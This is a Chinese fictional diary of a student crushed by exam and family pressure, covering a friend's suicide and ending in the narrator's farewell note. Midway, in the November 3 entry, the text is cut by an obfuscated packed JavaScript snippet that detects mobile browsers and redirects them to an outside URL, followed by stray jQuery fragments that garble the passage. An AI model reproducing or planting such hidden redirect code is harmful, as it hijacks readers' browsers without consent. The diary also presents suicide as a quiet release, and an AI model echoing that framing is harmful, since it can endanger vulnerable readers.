扉页
---
X年9月1日
开学第一天，作文本交上去了，我写了“阴影”和“暗流”。
周老师给了满分，而爸爸用红笔划掉了“阴影”。
他说这个词不好，太消极。
他划掉的时候，手背上的青筋暴起来，像地图上的山脉。
妈妈端牛奶过来，手指上有好多裂口，像被暗流冲刷过的礁石。
山有阴影，海有暗流。
那我有什么？
9月15日
月考第七名。退步了。
爸爸盯着成绩单看了很久，最后只说：“下次努力。”
他给我买了一本新的习题集，很厚。放在桌上的时候，灰尘在阳光里飞。
他说：“每天加做十道。”
十道，像十块新砖，砌在墙上。
10月8日
雨下了一整天。
补习班教室在五楼。
往下看，人都很小。
妈妈站在楼下等我，拎着保温桶。她仰头往上看，脸很小，很模糊。
鸡汤很烫，里面有枸杞和当归，她说补气血。
可我喝下去，只觉得很重，沉在胃里。
她问：“累不累？”
我说：“不累。”
撒谎原来这么容易。
11月2日
陈露今天没来学校，听说住院了。
放学去医院看她，她瘦了很多，躺在病床上像一张纸。
她说：“住院这几天，睡得最好。”
她说这话的时候，看着输液管，药水一滴一滴往下掉。
像时间在流血。
12月25日
圣诞节，没有下雪。
做了三套模拟卷。错题本又厚了一点。
妈妈在客厅悄悄放圣诞歌，音量调到最低。
我对着窗玻璃哈气，在上面写了个“逃”字。
很快，字就化了。
像我很多说不出口的话。
---
X年1月20日
做了胃镜。
一根黑色的管子从喉咙插进去，能看见屏幕里自己的胃。
粉红色的，皱皱的，有几块地方发红，发白。
医生说：“糜烂，溃疡。慢性的。”
糜烂，这个词真好。
开药的时候，医生说：“小姑娘，压力别太大。”
可他开的药，治不好“压力”。
2月14日
情人节，街上都是玫瑰花。
和陈露去江边。
风很大，江水是浑黄的。
她说她烧掉了所有的画。
“烧的时候，一点也不疼。”她说，“像烧别人的东西。”
她站在栏杆边，风吹起她的头发。
她说：“沈断夏，如果我跳下去，你会记得我吗？”
我说：“你不会跳。”
她说：“嗯。我怕冷，也怕疼。”
可她的眼神，好像已经跳下去过一次了。
3月8日
老师说：“从今天起，你们就是战士！”
可我不想当战士。
我只想当个活人。
一个可以喊累、可以哭、可以说不的活人。
但在这里，活人好像是不被允许的。
4月5日
清明，放假一天。
和陈露又在江边。下雨了，我们都没带伞。
她哭了，没有声音，只是眼泪一直流。
她说：“我怕我最后会变成一个影子，连哭都不会了。”
我握着她的手，很冰。
我们说好，撑不下去的时候，要告诉对方。
我们拉钩了。
可拉钩有什么用呢？该断的线，还是会断。
4月12日
陈露走了。
“意外”。他们这么说。
课间在办公室外面听见的，杯子掉在地上，热水溅了一身，但不疼。
耳朵里全是嗡嗡声。
她没告诉我。
她食言了。
还是说，最后那一刻，连“告诉”的力气都没有了？
江边的栏杆坏了。他们说“年久失修”。
可有些东西，坏得更早，更彻底。
4月30日
她的座位空了。
很快，桌上的东西被清走了。很快，就不会有人记得这里坐过谁。
像黑板上的字，擦了就没了。
周扬看我的眼神很奇怪，好像我身上带着她的病毒。
也许我真的有。
悲伤是一种传染病，但这里只允许传播“正能量”。
5月15日
失眠第三周。
闭上眼睛，脑子却在高速运转，停不下来。
好像一台关不掉的机器啊。
白天靠咖啡撑着，现在手开始抖。
镜子里的脸越来越陌生，眼窝深陷，像个骷髅。
妈妈给我煮安神汤，味道很怪。
她说：“喝了吧，喝了就能睡。”
可我喝了，还是睡不着。
应该不是汤的问题，是“我”出了问题。
---X年8月31日
高三第一天。
教室搬到五楼，后墙挂了倒计时牌：285天。
红得刺眼。
李老师剪了头发，说话像打仗。
他说：“这一年，没有自己，只有考生。”
我把“自己”藏在哪里了？
是不是早就弄丢了？
9月28日
第一次月考。
老师说：“有潜力，但不够。”
爸爸看了成绩单，没说话，只是拍了拍我的肩。
那一下很重。
妈妈又开始研究新的营养食谱。
我被他们用“爱”浇灌着，却觉得快要窒息。
原来爱太浓了，也会变成毒药。
11月3日
期中考试。数学最后一道大题没做出来。
交卷的时候，手在抖。
不是因为题难，是因为我知道，今晚家里会很安静。
那种小心翼翼的、令人窒息的安静。
果然，吃饭时没人说话。
爸爸看了我一眼，那眼神像在说：“你让我失望了。”
可我没有力气问他：你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218439|197464||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到底在期待什么？期待一个完美的考试机器吗？
12月24日
平安夜，下雪了。
晚自习到十点，走出教学楼，雪地上已经有很多脚印。
深深浅浅，通向不同的方向。
我的方向在哪里？
除了“考上大学”，我的人生还有别的方向吗？
没人告诉过我。
X年1月18日
期末考。
我发烧了，38度5。
头很晕。
题目在眼前飘，抓不住。
交卷后蹲在厕所吐，全是苦水。
医生说：“压力太大，免疫力下降。”
给我开了维生素。
可我要的不是维生素。
但世界上没有我想要的那种药。
2月14日
又一个情人节。
没有陈露的短信。以后也不会有了。
周扬在光荣榜上，名字在最上面。
他看起来像个符号，不像人了。
我们都在这条流水线上，被加工、打磨、贴标签。
合格的出厂，不合格的……被销毁。
3月10日
百日誓师。
礼堂里很吵，校长在台上喊口号，我们在台下跟着喊。
声音很大，但我听不见自己在喊什么。
好像灵魂出窍，看着下面那个张嘴的躯壳。
很滑稽，也很可悲。
妈妈来参加了，她哭了，说“我女儿一定能行”。
可她不知道，她的女儿，可能已经“不行”很久了。
4月5日
清明，没放假。
做了一套理综。
李老师说：“这种时候还错这么多，危险。”
“危险”。像走在悬崖边上。
可我觉得，我早就掉下去了，只是还没落地。
还在往下坠，一直坠，看不见底。
5月1日
劳动节。做了一天题。
手腕很酸，眼睛很干。
妈妈进来说：“休息会儿吧。”
可她刚出去，爸爸就进来说：“抓紧时间。”
我坐在中间，像个被撕扯的布娃娃。
最后谁也没听，继续做题。
只有做题的时候，我才不用想“我是谁”、“我要去哪”。
真好。
当个没思想的机器，最轻松。
5月20日
倒计时18天。
失眠严重到出现幻听。总觉得有铃声在响，可根本没有。
头痛像戴了紧箍咒，越来越紧。
镜子不敢照了，太吓人。
妈妈给我换了更贵的安神药，小小一瓶，很贵。
她说：“只要能睡好，钱不重要。”
可她不知道，有些东西，不是钱能买的。
比如“不想活”的念头。
6月6日
明天高考。
是不是……终于要到终点了。
晚安。
6月8日
山河依旧。
只是看山的人，累了。
——沈断夏绝笔